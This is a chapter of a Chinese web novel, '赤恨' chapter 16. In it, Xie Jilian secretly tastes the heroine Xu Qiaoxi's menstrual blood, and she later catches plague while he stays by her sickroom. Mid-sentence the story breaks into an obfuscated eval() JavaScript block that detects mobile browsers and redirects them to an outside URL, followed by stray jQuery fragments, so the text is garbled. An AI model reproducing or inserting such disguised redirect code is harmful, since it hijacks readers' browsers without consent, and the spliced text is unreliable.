16.癸水

作品:《赤恨

    月明云渺,将近二更。


    婢女们有条不紊布置着暖阁。这片刻之间徐巧犀无处可去,谢忌怜便陪她在庭院赏月。


    徐巧犀其实不知道古人赏月到底在赏什么。


    月亮永永远远挂在天上,需要去赏吗?


    “巧犀这般思量便是天下一等闲适散逸之人了,林下名士个个都不如你。”


    “哪有。”


    他说话总带着蜜似的,徐巧犀肩膀措了一下,有点害羞,可一对上他那双静静的笑眼,她木了。


    不对,他这不是夸她,是笑她不懂风雅的。


    嘴角不屑地往下一撇,徐巧犀闷闷发话:“那你们这些名士赏月的时候在想什么?”


    谢忌怜含笑的神色淡了,抬眸看着那轮月亮,却似此夜无月,眼神空茫虚浮。


    “思君思国,念亲念友,亦或是许多连想都不应该想的秘密。”


    “秘密?你也有秘密?”


    以为谢忌怜这种神仙似的人物是水晶心肝玻璃人呢,但其实大家都一样嘛。


    徐巧犀忽有一种众生平等的,坏坏的满足,颇为快乐地晃着双脚,纱裙浪似的飘飞,露出嫩荷色云头履一点尖尖。


    它在谢忌怜余光中晃来晃去,调皮地踢动他的神思。


    秘密,他当然有。谢忌怜甚至是随时随地都有秘密的人。


    比如今夜在红玉台,他想掐住司马治的脖子。


    掐进那愚蠢的皮肉和喉管里,叫他把徐巧犀喂的蜂蜜水全都吐出来,一滴不许留。


    这样的秘密当然开不了口,既不可以和徐巧犀说,也不可以和司马治说,谁都不可以说。


    只能蚌肉含珠似的镶在心头,又反反复复抠挖出来,血淋淋摊给自己目睹。


    很不痛快,几乎是自/残。


    但他乐意。


    乐意这么血淋淋对待自己。


    谢忌怜也很快乐,腰往后靠了靠,腾出双脚,学徐巧犀轻轻晃着。


    忽然间,徐巧犀的脚停住,脚尖抵着地面。


    “诶?”


    她低头盯着一旁花丛的某处,猫腰寻过去,不过五六步的距离,在花丛前抱膝蹲下,好半天没说话。


    “巧犀?”


    徐巧犀闻声回头,速度很快,甚至带点不满。


    “你的秘密就是丢掉我托付给你的药?”


    像被一颗小石子击中眉心,谢忌怜长睫微颤。


    花丛中躺着一个瓷罐。白的,圆润,在月色下微微发光,像是土里长出来的一块骨头,荒凉赤裸。


    他那日回来后随手把装着药粉的瓷罐丢了。


    牙齿已经坏了许多年,他习惯了,不必因着一个徐巧犀就大张旗鼓地改掉。


    徐巧犀刨开花花草草捡回瓷罐。幸好她上次盖得紧,药粉没漏。


    她板着一张脸回来坐在石凳上,和谢忌怜较方才隔开一点距离。


    “为什么不用药?”


    “……有点麻烦。”


    “不是有玉蒲吗?”


    “不要。”


    谢忌怜视线下垂,声音很小,仿佛自己也心虚。徐巧犀瞄着他,有点生气又不好说他什么。


    牙疼不是小事,等以后疼得钻心彻骨就来不及了。


    但玉蒲跟着他那么久,肯定一早知道他这问题,估计劝也劝不住,管也管不了,不能怪玉蒲。


    徐巧犀吃穿用度都是谢忌怜给的,心里惦记着欠他这笔账,旁人管不了那正好她来管。


    若能监督他治好,等她走了,也不算欠他太多。


    “以后我每两天来这里给你上药,不许躲。”


    她嗓音冷冷的,像书塾里模仿学究老先生唱经的小孩子。


    谢忌怜平日最讨厌那种装腔作怪,可谁成想小孩子唱经居然真有一句醒世恒言落在身上,变成个紧箍,他自此不敢动作。


    静默间,两个婢子上前告诉徐巧犀一切收拾妥当,送她入暖阁歇息。


    为了防止谢忌怜再把药丢掉,徐巧犀双手握着小瓷罐,没给他,自己带走了。


    冷白月色下她罗裙款款,腰臀之下有一块不大不小的红斑。


    大概是落花。


    谢忌怜视线收回,恰扫过她坐过的石凳。


    一块团状暗红沁在凹凸不平的石间。


    是血。


    她今夜来了癸水,但自己没注意到。


    谢忌怜手掌按在她坐过的石凳上,温度似有若无。玉白的指尖蹭过血迹边缘,他心底忽然有股冲动。


    明晃晃的,比月亮还清晰。


    又很肮脏,他绝不该去做。


    夜风在耳边呜咽,谢忌怜听出它饥肠辘辘。


    指尖朝血迹移动,一点,一点……


    她既然催着他用药,那他试探一下那药有无作用也是应该。


    自欺欺人正是这种时候的不二法门。


    癸水蒙住他一圈一圈的指纹,形成血月,又像来自她身体内的涟漪。


    谢忌怜偷偷含住指尖,卷舌舔舐。


    没什么味道。因为太少了,连血腥的气味都没有,只依稀有点点甜味,这也大概是他嘴里常吃糖的缘故。


    但谢忌怜不那么顺理成章地仍然把甜味归结到徐巧犀身上。


    她尝起来应是这样,甜的。


    谢忌怜还想再尝一口,但血迹干了。


    他可惜地蹙了蹙眉。


    捏住自己的袖口,俯下身一丝不苟擦去徐巧犀留下的血迹。直到石凳上干干净净,谢忌怜染着一袖口的浅血才踱步回了寝居。


    新秘密带给他舌尖上的欢喜,今夜能做个好梦。


    ——


    次日一回红玉台,徐巧犀隔着老远一段距离就开始助跑,最后双脚一跳,整个人砸进自己床里。


    司马治一早就被接回宫里,她的床物归原主。


    昨晚……


    啊!!!


    徐巧犀内心咆哮,来月经真的很烦!


    她的月经几乎没有准时过,一会儿早,一会儿晚,一会儿疼,一会儿不疼。裙子啥时候透出血了她都不知道,一晚上睡得胆战心惊,生怕月事带侧漏。


    徐巧犀呈大字趴在床上,蓝烟和绿云抱着新的被褥垫子对视一眼。


    “别睡,你先起来,皇帝陛下睡过的被子我们还没换……”


    “不用换,我不嫌皇帝脏。”


    “诶!这是你能说的吗!”蓝烟急得拍她大腿。


    徐巧犀懒得动弹。一夜没睡好,身上一点力气都没有,她要打由她打吧。


    绿云拉住蓝烟的手,“算了算了,她到日子了身上倦,昨天折腾一天又临时换了休息的地方……让她好好睡一觉。”


    两个姑娘抱着被子来又抱着被子走,走时仔细合拢门窗,嘱托红玉台里扫撒侍奉的人小心些,不能惊扰小夫人补觉。


    徐巧犀迷迷糊糊听着,心里甜滋滋。


    绿云是个心软的,办事又妥帖又踏实,年纪比她小,本事比她大;蓝烟虽然傲气一点,但机灵,心地和绿云一样好。她们两个对她都很好。


    等半年之后她走了,徐巧犀想,她还能不能时常回来看看她俩呢?


    一点分离的惆怅萦绕在脑袋中,不一会儿便昏昏沉沉,徐巧犀再听不到绿云和蓝烟的动静,一脚踩空落进黑甜乡。


    夏末秋初,她睡着时身上忽冷忽热,喉咙也发紧,想咳又想吐。


    睡得实在不舒服,徐巧犀想睁开眼睛,眼皮却像被胶水粘住了似的,一点也动不了。


    不知现在几时几刻,外面吵吵嚷嚷的,有好多人在说话。


    “宫里乱了!陛下得了瘟疫!”


    “胡说,陛下怎么会得瘟疫?”


    “流民染的呗,陛下昨日出宫,是咱们小夫人把他从流民堆里带回来的呀,你忘了?”


    “我听说,洛阳城外的流民已经死了一大半了!”


    “砰——”


    有人闯进来,冲到徐巧犀床前。


    “啊呀!怎么这么烫!”


    绿云惊叫起来,“你醒一醒,求你醒一醒!”


    徐巧犀想说她其实是醒着的,脑子特别清醒,但身体没力气,连一个音节都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17475923|201550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发不出来。


    蓝烟咬牙,拉起绿云往外跑,“去告诉郎君!红玉台的人都得离开,这里不能待人。”


    徐巧犀静静躺在床上,听见外头仆役婢女惊慌失措的声音,莫名有一种真空的抽离感,好像自己并非这场慌乱的主人翁。


    她内心某个小角落甚至有个声音撺掇着:如果没扛过去,再睁眼也许就回到学校了……


    意识又开始混沌,直到玉蒲的声音出现,他急得大喊:


    “郎君您不能进去啊!那是瘟疫,可不是闹着玩的!”


    但他的着急于事无补,有道脚步声越来越近。


    一只手轻轻覆在徐巧犀额头,冰凉而温柔。


    “巧犀?听得见怜吗?”


    徐巧犀还是没力气,但谢忌怜坐在她床边,如果不给他回应,万一他一直待着,被传染就完了。


    她咽了咽干涩的嗓子,使出吃奶的力气动动脑袋。


    谢忌怜感受到她滚烫的头颅在自己掌心下微微偏转,松了一口气。


    他转头,“玉蒲,去把谢家相识的那几位御医请过来,要快。”


    “啊?郎君,现在宫里也乱成一锅粥,陛下肯定正要用人呢,御医们不好请得来……”


    玉蒲没说完,谢忌怜气势汹汹走向门口,站在阶上不容置疑。


    “绑也要绑来,问问他们是想得罪司马家还是得罪谢家。”


    ——


    五六个年龄各异的御医给出了同一个诊断:徐巧犀真的染了瘟疫。但因发现得早,好好医治不成问题。


    只是红玉台内的人必须能少则少,更不要因她病着便唤更多的新人来伺候,否则整个浅川春汀都得遭殃。


    绿云蓝烟把她的衣裳,被褥,用过一切物品通通拿走销毁掉。寝居门窗紧闭,剩徐巧犀一个人躺着。


    这病很折磨人,她想咳嗽却没力气,想入睡脑袋里像烧着火,又疼又烫,根本睡不着,只能苦熬。


    身体心理双重痛苦,就像世界自顾自运转着,只有她被抛弃。


    眼角悄无声息滑落一滴泪水。


    她害怕,盼着有人能陪她,不用靠近,让她知道身边还有活人就好。可这样太自私,会害了别人。


    眼泪越流越多,哭出来反到好受些。一个人也挺好,至少脆弱的时候不会被看见。


    静夜悄悄,寝室侧边的推门忽然嘎吱轻响。


    仿佛蜡烛爆花,惊动徐巧犀一个人的寂夜。


    一盏八角提灯伸入门内轻放在地上,温润光芒立刻映照帐帘,似脉脉流水。


    她艰难转头望去,门外跪坐着一个人,月色自他身后斜穿入户,勾勒出挺拔而温柔的身影。


    白玉光世音。


    心里忽然跳出那尊神像的模样,和门外守着她的人渐渐重叠在一起。


    他没有说话,也不动作,只是在门外廊上独自跪坐,安安静静,背对月光,面向着她。


    右手伸出被窝,握拳在床边轻叩。


    很轻很弱的声响,但谢忌怜听见了。


    “回去吧,我没事。”


    徐巧犀本想劝他,可自己的哭腔怎么也止不住,话一说完,直接侧脸贴着枕头委屈啜泣。


    “怜带了短琴,巧犀想听吗?”


    他没有打断徐巧犀的崩溃,而是横琴膝上,指尖挑抹丝弦,琴音似呼吸擦响。


    轻柔清朗的低吟浅唱伴着脆亮琴音传入徐巧犀耳中。


    “月出皎兮,佼人僚兮。


    舒窈纠兮,劳心悄兮。


    月出皓兮,佼人懰兮。


    舒忧受兮,劳心慅兮。”


    月下操琴,人影携伴。仿佛今夜没有病痛,只有清闲风雅。


    徐巧犀视线透过帐帘落到谢忌怜身上,心里一块地方无限柔软。


    他愿意来陪着她苦熬,哪怕凶险万分。


    尚存的理智叮嘱她:别,别问那个蠢问题!然而泪水涟涟,足够把理智淹没。


    她听见自己发紧的嗓音,颤抖着,喃喃自语一般:


    “谢忌怜,为什么要对我这么好……”